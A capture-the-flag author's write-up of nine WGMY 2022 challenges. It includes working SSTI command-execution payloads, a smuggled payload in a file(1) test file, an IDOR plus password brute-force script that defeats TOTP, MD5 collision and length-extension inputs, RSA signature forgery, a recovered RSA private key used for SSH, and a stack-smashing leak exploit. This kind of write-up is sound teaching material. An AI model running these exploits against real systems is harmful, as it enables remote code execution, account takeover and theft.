WGMY 2022 just finished today, and it was a smooth CTF! Thanks for joining the CTF, here are my challenge writeups
Challenges
- Christmas Wishlist
- Christmas Wishlist 2
- Most Friendly App
- Ular
- HMAC Master
- E-Signature
- Corrupted
- Flag Checker
- Core
Christmas Wishlist
The both challenges is actually inspired by RCTF, the challenge called file-checker, can check their writeup here
Basically both challenge got a SSTI (Server Side Template Injection) bug, because the server passes the output to the function render_template_string
Therefore we got RCE and can read the content of the flag
file
For 1st challenge, we can just upload a file that contains the SSTI payload:
{{().__class__.__base__.__subclasses__()[395]('cat /flag',shell=True,stdout=-1).communicate()[0]}}
Upload the file using curl
:
curl -F 'file=@solve.txt' http://wishlist.wargames.my/
# You wish for and b'Here is your present: wgmy{72718ee56cff19d67ddf309de74d160a}'h
Christmas Wishlist 2
For 2nd challenge is abit tricky
f.save(filepath)
output = subprocess.check_output(
["/bin/file",'-b', filepath],
shell=False,
encoding='utf-8',
timeout=1
)
if "ASCII text" not in output:
output=f"<p style='color:red'>Error: The file is not a text file: {output}</p>"
else:
output="Wishlist received. Santa will check out soon!"
os.remove(filepath)
return render_template_string(output)
As you can see, the SSTI bug only possible for the output of /bin/file -b
command
To exploit it, we can modify this file from the github: https://github.com/file/file/blob/master/tests/cmd3.testfile
Change the cmd3 to your payload, then you’re done!
#!/usr/bin/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
Can test it on linux terminal:
file -b solve.testfile
# a /usr/bin/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} script executable (binary data)
Upload the file using curl
command:
curl -F 'file=@solve.testfile' http://wishlist2.wargames.my/
<p style='color:red'>Error: The file is not a text file: a /usr/bin/Merry Christmas! Flag: wgmy{79fd0d773b8641b99e76eac31bdd93b1} script executable (binary data)
</p>
Most Friendly App
It is a web application, we need to login into godam
account and get the flag. But the login required MFA (Multi-Factor Authentication)
Who interested for the code, source here
1st bug (IDOR)
We can get godam
account’s secret key by editing the GET parameter username
curl http://mfa.wargames.my/getQR.php?username=godam
...
...
...
<img src='https://api.qrserver.com/v1/create-qr-code/?data=otpauth%3A%2F%2Ftotp%2FSKR%3Fsecret%3DRUKTVQSRTNNBWNPCBVHK7TNLW2MBUUW5XWF5HJAUUEPVZVCHIKN3PGBFPTLRJQQ3NQGFX3BKYWXO4DUNEYOT5DSL7KC7K6K5RD32PIY&size=300x300&ecc=M'><form action='getQR.php' method='POST' class='mt-2'><input type="password" name="otp" class="form-control" placeholder="OTP" required=""><input type="hidden" name="username" value="godam"><button class="btn btn-lg btn-primary btn-block mb-2" type="submit">Verify</button></form>
After getting the secret key, we can calculate his account OTP. Because it uses TOTP once we get the shared secret, the MFA is useless
Python code to generate TOTP: https://medium.com/analytics-vidhya/understanding-totp-in-python-bbe994606087
2nd bug (Weak password & No login limit)
Next we need to brute force his password, the website has no login limit so it is easy to brute force
I uses rockyou.txt
as the password wordlist and python requests to brute force it
import hmac, base64, struct, hashlib, time
import requests
import re
def get_hotp_token(secret, intervals_no):
key = base64.b32decode(secret, True)
#decoding our key
msg = struct.pack(">Q", intervals_no)
#conversions between Python values and C structs represente
h = hmac.new(key, msg, hashlib.sha1).digest()
o = o = h[19] & 15
#Generate a hash using both of these. Hashing algorithm is HMAC
h = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
#unpacking
return h
def get_totp_token(secret):
#ensuring to give the same otp for 30 seconds
x =str(get_hotp_token(secret,intervals_no=int(time.time())//30))
#adding 0 in the beginning till OTP has 6 digits
while len(x)!=6:
x+='0'
return x
# Get secret key with the IDOR bug
URL = "http://mfa.wargames.my/"
params = {
"username":"godam"
}
r = requests.get(URL+"getQR.php",params=params)
secret = re.findall("secret\%3D(.*)\&size",r.text)[0]
# Brute force common password with generated OTP
f = open("/opt/rockyou.txt",'r')
while text := f.readline():
params = {
"username":"godam",
"password":text[:-1]
}
s = requests.Session()
r = s.get(URL+"login",params=params)
data = {
"otp":get_totp_token(secret+"=")
}
r = s.post(URL+"verify",data=data)
# if found index.php means login success
if "index.php" in r.text:
print("Found password: "+text)
# Find the flag in his notes
r = s.get(URL+"notes")
print("Found flag: "+re.findall("wgmy{.*}", r.text)[0])
break
It took around half minutes to brute force the his password letmein
, and found the flag!
time python3 solve.py
Found password: letmein
Found flag: wgmy{a3788e5d9f8fb9650aae12f12e24a0ca}
real 0m33.752s
user 0m2.290s
sys 0m0.085s
Flag
wgmy{a3788e5d9f8fb9650aae12f12e24a0ca}
Ular
This challenge is inspired by the SUSCTF’s DigitalCircuits, you can see my wirteup here
As the name suggest, this is actually a python script but converted into windows executable (.exe) file
We need to use pyinstxtractor to extract the python script with Python version 3.7
Then we can use uncompyle6 to convert ular.pyc
file to python source code
# uncompyle6 version 3.8.0
# Python bytecode 3.7.0 (3394)
# Decompiled from: Python 3.7.13 (default, Apr 24 2022, 01:05:22)
# [GCC 9.4.0]
# Embedded file name: ular.py
def f1(a, b):
if a == '1':
if b == '1':
return '1'
return '0'
def f2(a, b):
if a == '0':
if b == '0':
return '0'
return '1'
def f3(a):
if a == '1':
return '0'
if a == '0':
return '1'
def f4(a, b):
return f2(f1(a, f3(b)), f1(f3(a), b))
def f5(x, y, z):
s = f4(f4(x, y), z)
c = f2(f1(x, y), f1(z, f2(x, y)))
return (s, c)
def f6(a, b):
ans = ''
z = '0'
a = a[::-1]
b = b[::-1]
for i in range(8):
ans += f5(a[i], b[i], z)[0]
z = f5(a[i], b[i], z)[1]
return ans[::-1]
def f7(a, b):
ans = ''
for i in range(8):
ans += f4(a[i], b[i])
return ans
def f8(a, b):
a = [a[i:i + 8] for i in range(0, len(a), 8)]
b = [b[i:i + 8] for i in range(0, len(b), 8)]
x = '00000000'
box = [bin(i)[2:].zfill(8) for i in range(256)]
for i in range(256):
x = f6(f6(x, box[i]), b[(i % len(b))])
box[i], box[int(x, 2)] = box[int(x, 2)], box[i]
x = '00000000'
y = '00000000'
out = ''
for char in a:
x = f6(x, '00000001')
y = f6(y, box[int(x, 2)])
box[int(x, 2)], box[int(y, 2)] = box[int(y, 2)], box[int(x, 2)]
out += f7(char, box[int(f6(box[int(x, 2)], box[int(y, 2)]), 2)])
return out
k = '0011010100110001011011010111000000110001011001010101000001000000010100110010010001010111001100000111001001000100011010110011001101011001'
flag = input('Gimme the flag: ')
if flag[0:5] == 'wgmy{':
if flag[(-1)] == '}' and len(flag) == 38:
flag = ''.join([bin(f)[2:].zfill(8) for f in bytes(flag, encoding='utf-8')])
if f8(flag, k) == '1011000110101100111101010110110010010001010110000000000001100110011010011110100001010001000010101111011110000110101101110001111011011011011110011011101100111000010000011000000010011010000101011110010101011100010001000110000100101000011110111100111101011110101011111110110000101001010011110101001001100010':
print('Correct flag!')
else:
print('Wrong flag..')
else:
print('Wrong flag format!')
# okay decompiling ular.pyc
It is actually an obsfuscated RC4 cipher, f1
is AND bitwise, f2
is OR bitwise etc.
# and
def f1(a, b):
if a == '1':
if b == '1':
return '1'
return '0'
# or
def f2(a, b):
if a == '0':
if b == '0':
return '0'
return '1'
# not
def f3(a):
if a == '1':
return '0'
if a == '0':
return '1'
# xor
def f4(a, b):
return f2(f1(a, f3(b)), f1(f3(a), b))
# full adder
def f5(x, y, z):
s = f4(f4(x, y), z)
c = f2(f1(x, y), f1(z, f2(x, y)))
return (s, c)
# add 8bit
def f6(a, b):
ans = ''
z = '0'
a = a[::-1]
b = b[::-1]
for i in range(8):
ans += f5(a[i], b[i], z)[0]
z = f5(a[i], b[i], z)[1]
return ans[::-1]
Since this is a RC4 cipher, meaning the encrypt way is same as decrypt way. We just need to decrypt it using the key k
and pass in the function f8
:
enc = "1011000110101100111101010110110010010001010110000000000001100110011010011110100001010001000010101111011110000110101101110001111011011011011110011011101100111000010000011000000010011010000101011110010101011100010001000110000100101000011110111100111101011110101011111110110000101001010011110101001001100010"
key = "0011010100110001011011010111000000110001011001010101000001000000010100110010010001010111001100000111001001000100011010110011001101011001"
print(bytes.fromhex(hex(int(f8(enc,key),2))[2:]))
# Output:
# b'wgmy{e52e6ed6345087ed01e14c643bc0429b}'
Flag
wgmy{e52e6ed6345087ed01e14c643bc0429b}
HMAC Master
Got 3 question for this challenge, we need to give two different message (A,B) that satisfy the following condition:
- MD5(A) == MD5(B)
- MD5(K||A) == MD5(K||B)
- MD5(A||K) == MD5(B||K)
For 1st question, we can easily solved it with example from Wikipedia
from pwn import *
import hashpumpy
p = remote("54.255.181.88",2000)
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70")
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70")
For 2nd question, we can perform length extension attack using hashpumpy library
p.sendlineafter(": ","00")
p.recvuntil(": ")
h = p.recvuntil('\n')[:-1]
hmac, B = hashpumpy.hashpump(h, bytes.fromhex("00"), "test", 8)
p.sendlineafter(": ",B.hex())
p.sendlineafter(": ",hmac)
Last question is tricky, length extension will not work but hash collision.
In the wikipedia page of MD5 stated:
MD5 uses the Merkle–Damgård construction, so if two prefixes with the same hash can be constructed, a common suffix can be added to both to make the collision more likely to be accepted as valid data by the application using it.
So if we find collisions of A and B:
\[H(A) = H(B)\]
Both concatenate K (secret key) the collision still remains
\[H(A||K) = H(B||K)\]
Meaning we can use the same example we use on the 1st question:
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70")
p.recvuntil(": ")
h = p.recvuntil('\n')[:-1]
p.sendlineafter(": ","d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70")
p.sendlineafter(": ",h)
p.interactive()
# Output:
# Congrats HMAC master!! Here is your flag: wgmy{3ad45e4fb413c3d561ed0e6b75f5bcb5}
Flag
wgmy{3ad45e4fb413c3d561ed0e6b75f5bcb5}
E-Signature
We need to forge the signature of the message gimmetheflag
, there are many ways to solve this
My way to to use the homomorphic properties in textbook RSA, for example, d
is the private key and N
is modulus:
\[a^d \mod N \cdot b^d \mod N\] \[=(a^d)(b^d) \mod N\] \[=(ab)^d \mod N\]
Means we can split the message into two parts, get the signature of both. We multiply both signature togther we will get the original message’s signature
from Crypto.Util.number import *
from pwn import *
# gimmetheflag = 17 · 29 · 43 · 11909 · 126770777815903492373 (Get from http://factordb.com/)
p = remote("54.255.181.88",3000)
# Get the modulus
p.sendlineafter(": ",'3')
p.recvuntil("n=")
n = int(p.recvuntil("\n")[:-1])
e = 65537
p.sendlineafter(": ",'1')
# Get the signature of 43
p.sendlineafter(": ",hex(43)[2:])
p.recvuntil(": ")
s1 = int(p.recvuntil("\n")[:-1],16)
p.sendlineafter(": ",'1')
# Get the signature of the remaining factor
p.sendlineafter(": ",hex(17*29*11909*126770777815903492373)[2:])
p.recvuntil(": ")
s2 = int(p.recvuntil("\n")[:-1],16)
# Calculate the signature and send it
result = hex((s1*s2)%n)[2:]
p.sendlineafter(": ",'2')
p.sendlineafter(": ",result)
p.interactive()
# Output:
# Signature matches! Here's your flag: wgmy{a8f09605f2c5e76cfcf9fa9c9f2ad630}
Flag
wgmy{a8f09605f2c5e76cfcf9fa9c9f2ad630}
Corrupted
We need to recover the corrupted private key, this challenge is inspired by CryptoHack Blog, where is the same concept but different method to solve it
I prepared this challenge for quite long, didn’t expect someone solved in an hour 😅
Corrupted private key:
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC0hAS5rQUKGw6oaJ4+PUDJrq537SAtuINquhoZu17GeLJhMPxR
vVfYoy7SVqetqgE0ZCpxyz+DOh7fX0eLVJByoMDB4ljV4ipjP4tN+pCMOt1ZTi2x
mgzV1fnlU7cYF+s9C1SazDPAdzdVRQGxMGsKX5Y9nWqLe37Uju6x2bOOHwIDAQAB
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
???????????????????????????????Xe3iK5RisoeJtgdOXHp0+6oC+zbbyzpS4
P6z0852lAkEA5zyeIqW0dBjZW/fRP3+ZhZ6BojWU40DCQygcZXk2vcGB????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????
-----END RSA PRIVATE KEY-----
Extract values
We can start with replacing the ?
to A
then view it in hexadecimal form:
f = open("corrupted.pem",'r').read()[32:-30].replace('?','A').replace('\n','')
print(base64.b64decode(f).hex())
Result:
3082025c02010002818100b48404b9ad050a1b0ea8689e3e3d40c9aeae77ed202db8836aba1a19bb5ec678b26130fc51bd57d8a32ed256a7adaa0134642a71cb3f833a1edf5f478b549072a0c0c1e258d5e22a633f8b4dfa908c3add594e2db19a0cd5d5f9e553b71817eb3d0b549acc33c07737554501b1306b0a5f963d9d6a8b7b7ed48eeeb1d9b38e1f02030100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000177b788ae518aca1e26d81d3971e9d3eea80becdb6f2ce94b83facf4f39da5024100e73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc181000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
We can see 010001
is e
(seperated by 0203
), and b48404b9ad050a1b0ea8689e3e3d40c9aeae77ed202db8836aba1a19bb5ec678b26130fc51bd57d8a32ed256a7adaa0134642a71cb3f833a1edf5f478b549072a0c0c1e258d5e22a633f8b4dfa908c3add594e2db19a0cd5d5f9e553b71817eb3d0b549acc33c07737554501b1306b0a5f963d9d6a8b7b7ed48eeeb1d9b38e1f
is N
modulus
Then the second part of the hex is low bits of p
and high bits of q
, seperated by 024100
But how we recover the missing parts of p & q?
Solving
Here is my intended way to solve it
The bit length of modulus is 1024, which means the factors (p,q) are 512bits long
>>> int.from_bytes(bytes.fromhex("177b788ae518aca1e26d81d3971e9d3eea80becdb6f2ce94b83facf4f39da5"),byteorder ='big').bit_length()
245
>>> int.from_bytes(bytes.fromhex("e73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc181"),byteorder ='big').bit_length()
264
p is actually 246bits long because base64 1 character represents 6bits, q is 264bits long
Can see that we have nearly half bits of p & q, we can recover the missing part by calculate the inverse modulus. Same method I used on this writeup
For example: We know that \(N=pq\), now we add modular \(2^{246}\) (Only get the lower bits):
\[N \equiv pq \mod 2^{246}\]
To find \(q \mod 2^{246}\) (lower bits of q
) we just need to multiply \(p^{-1}\) (modular inverse of p
):
\[Np^{-1} \equiv q \mod 2^{246}\]
To calculate this in python is easy:
from Crypto.Util.number import *
n = int("b48404b9ad050a1b0ea8689e3e3d40c9aeae77ed202db8836aba1a19bb5ec678b26130fc51bd57d8a32ed256a7adaa0134642a71cb3f833a1edf5f478b549072a0c0c1e258d5e22a633f8b4dfa908c3add594e2db19a0cd5d5f9e553b71817eb3d0b549acc33c07737554501b1306b0a5f963d9d6a8b7b7ed48eeeb1d9b38e1f",16)
p_low = int("177b788ae518aca1e26d81d3971e9d3eea80becdb6f2ce94b83facf4f39da5",16)
q_high = int("e73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc181",16)
q_low = n * inverse(p_low, 2**246) % 2**246
print(hex(q_low))
# Output:
# 0x1d906f31c8f91c0cfc875cbc55ebc0a88f6f83ee21e677f01d457305623973
We get the lower bits of q
means we can combine it with the higher bits of q
we found:
0xe73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc1811d906f31c8f91c0cfc875cbc55ebc0a88f6f83ee21e677f01d457305623973
246bits + 264bits total 510bits so we need to brute force 2 bits at the center bits of q
:
for i in range(4):
# Combine all bits together
q = q_high<<248 | i<<246 | q_low
# check if q divides n
if n%q==0:
print(hex(q))
# Output:
# 0xe73c9e22a5b47418d95bf7d13f7f99859e81a23594e340c243281c657936bdc1815d906f31c8f91c0cfc875cbc55ebc0a88f6f83ee21e677f01d457305623973
As you can see, we have found q
then we can calculate p
by dividing and then generate the private key!
p = n//q
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
key = RSA.construct((n,e,d,p,q))
pem = key.export_key('PEM')
print(pem.decode())
Result:
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC0hAS5rQUKGw6oaJ4+PUDJrq537SAtuINquhoZu17GeLJhMPxR
vVfYoy7SVqetqgE0ZCpxyz+DOh7fX0eLVJByoMDB4ljV4ipjP4tN+pCMOt1ZTi2x
mgzV1fnlU7cYF+s9C1SazDPAdzdVRQGxMGsKX5Y9nWqLe37Uju6x2bOOHwIDAQAB
AoGAM/nHOocc6ln8EHV/CsCsROXtCk7WcxOrkzFejoYqtc7O3bkzDX4NKy1hL+MP
iKtoiWNF7VnuQaScewh+GxoQNNUA0PjJThZjCur9dk9F3Ae8alG7JwY5zaBZMfTW
B+h1uNZzvEr93NwYIqjUVKGH1mEHFSbFIl4fBKWIRh4gZ7ECQQDH2OBbFjVgfJZ6
bjdJkQZ+Unxr419OkWq5AvkQbfMsA8iXe3iK5RisoeJtgdOXHp0+6oC+zbbyzpS4
P6z0852lAkEA5zyeIqW0dBjZW/fRP3+ZhZ6BojWU40DCQygcZXk2vcGBXZBvMcj5
HAz8h1y8VevAqI9vg+4h5nfwHUVzBWI5cwJAfYinDbB6oPxBzfATvJtjt8/6pg6y
XHkNz9+lMgPO31QVGcqOYrkb8bzSrbUCg4fQgKfvbWttQ0IuuzoMW+X3nQJBAKzK
MzCYujt2xhVfHVFhvAqI4z2e5F7caU1dj7qT1T/+dPjBkRWWo+8+FQXhWiqqPBC4
/g+LxnE9doOo/cYsG9kCQBZhltY/YstWWVraYoX84pR4MpZkEuj4thtXqTuquxB0
uzdS1ywFnwZLqH0dyJ02CWDCqONeSUDn4h9gW0MmRbM=
-----END RSA PRIVATE KEY-----
Connect to the SSH server and get the flag!
# ssh -i private.pem godam@178.128.106.114 -p 2222
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
godam-server:~$ cat flag.txt
wgmy{45132cbaf87ca64ea9236dcb7db48fa6}
Alternative solution
Another way to solve this is to use coppersmith method, basically it can find the high bits of the factor if known the low bits of the factor
Can refer to mechfrog88 writeups
Flag
wgmy{45132cbaf87ca64ea9236dcb7db48fa6}
Flag Checker
This challenge actually was inspired by a question on 5th “QiangWang” CTF, I found it interesting so I include in this CTF
The challenge source code:
#include <stdio.h>
#include <string.h>
char flag[64];
int main(void)
{
FILE* f = fopen("flag.txt","r");
fgets(flag,64,f);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char input[64];
puts("Flag Checker");
puts("------------");
printf("Enter flag: ");
scanf("%s",input);
if(strcmp(flag,input)==0){
puts("Correct flag!");
}else{
puts("Wrong flag!");
}
return 0;
}
As you can see, is a buffer overflow challenge, but I compiled it with only -no-pie
flag:
gcc flag_checker.c -o bin/flag_checker -no-pie
Which means the binary got SSP (Stack Smash Protector) enabled, also the main point of the challenge
We can leak the flag by overflowing the program name
on the stack, because when we smash the stack the it will print *** stack smashing detected ***: ./flag_checker terminated
root@b35b3ac6306c:/home/ctf# ./flag_checker
Flag Checker
------------
Enter flag: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Wrong flag!
*** stack smashing detected ***: ./flag_checker terminated
Aborted
We can overflow the program name address to the flag
address, because is a global variable and no PIE the address was static
We can just spam the flag address:
from pwn import *
elf = ELF("bin/flag_checker")
p = remote("178.128.106.114",1337)
p.sendlineafter(": ",p64(elf.symbols['flag'])*40)
p.interactive()
Result:
[*] Switching to interactive mode
Wrong flag!
*** stack smashing detected ***: wgmy{a6e08efe07d7a105a3437613c8d24320}
terminated
[*] Got EOF while reading in interactive
Note: The exploit only works in the docker container, probably only works on older version of libc
More information about the SSP leak vulnebility (In chinese): https://zhuanlan.zhihu.com/p/84050456
Flag
wgmy{a6e08efe07d7a105a3437613c8d24320}
Core
This challenge we are given the chall
ELF binary and core
the coredump
The challenge to find the password from the coredump and then decrypt the encrypted flag
Challenge source code:
#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char const *argv[])
{
FILE *stream;
unsigned char password[16];
unsigned char flag[40];
stream = fopen("./pass","r");
if(!stream){
fprintf( stderr, "Missing password file!\n" );
return 1;
}
fread(password,16,1,stream);
printf("Enter flag: ");
fflush(stdout);
read(0,flag,40);
printf("Encrypted flag: ");
for (int i = 0; i < 40; ++i)
{
flag[i] ^= password[i%16];
printf("%c",flag[i]);
if(i!=39) flag[i+1] ^= flag[i];
}
memset(password,0,16);
if (argc == 2 && strcmp(argv[1],"DEBUG")==0)
{
raise(SIGABRT);
}
return 0;
}
Find encrypted flag
First, you need to find the encrypted flag. You can run gdb ./chall ./core
, then stack 60
to view the stack.
Note: I’m using pwndbg
plugin for GDB
Can see the encrypted flag at the address 0x7ffc1d759a60
to 0x0x7ffc1d759a88
:
Or can view the coredump with hexeditor, and search for the string Encrypted flag
. Can see the encrypted flag is next to it:
Find the password
The password is filled with NULL with memset
, how do we find the password?
The FILE
pointer created at the heap, and didn’t call fclose
so the password is still at the heap!
We know the flag format is wgmy{
, therefore we can reverse the algorithm and find the first 5 characters of the password!
Is easy to reverse because only XOR, implemented in python script:
enc = bytes.fromhex("B99E9A7EBBD764933AA2BF98F2F0485AA0D38C73F5CE29D823E7F285BBB0524BBDC5CD34B89C41D4")
flag=b"wgmy{"
result=bytearray(5)
for i in range(5):
if i ==0:
result[i] = flag[i]^enc[i]
else:
result[i] = flag[i]^enc[i]^enc[i-1]
print(result.hex())
# ce40699dbe
Next we can use the search -x ce40699dbe
command in GDB to find the password:
Or we can search in hexeditor
Solving
Now we found the password, then we can decrypt easily with python script!
enc = bytes.fromhex("B99E9A7EBBD764933AA2BF98F2F0485AA0D38C73F5CE29D823E7F285BBB0524BBDC5CD34B89C41D4")
key = bytes.fromhex("CE40699DBE59D79598A12D140F338120")
flag = bytearray(40)
for i in range(40):
if i == 0:
flag[i] = key[i%16]^enc[i]
else:
flag[i] = key[i%16]^enc[i]^enc[i-1]
print(flag)
# bytearray(b'wgmy{5db1903e192436b8b0dce8c18c988ad2}\n\x00')
Flag
wgmy{5db1903e192436b8b0dce8c18c988ad2}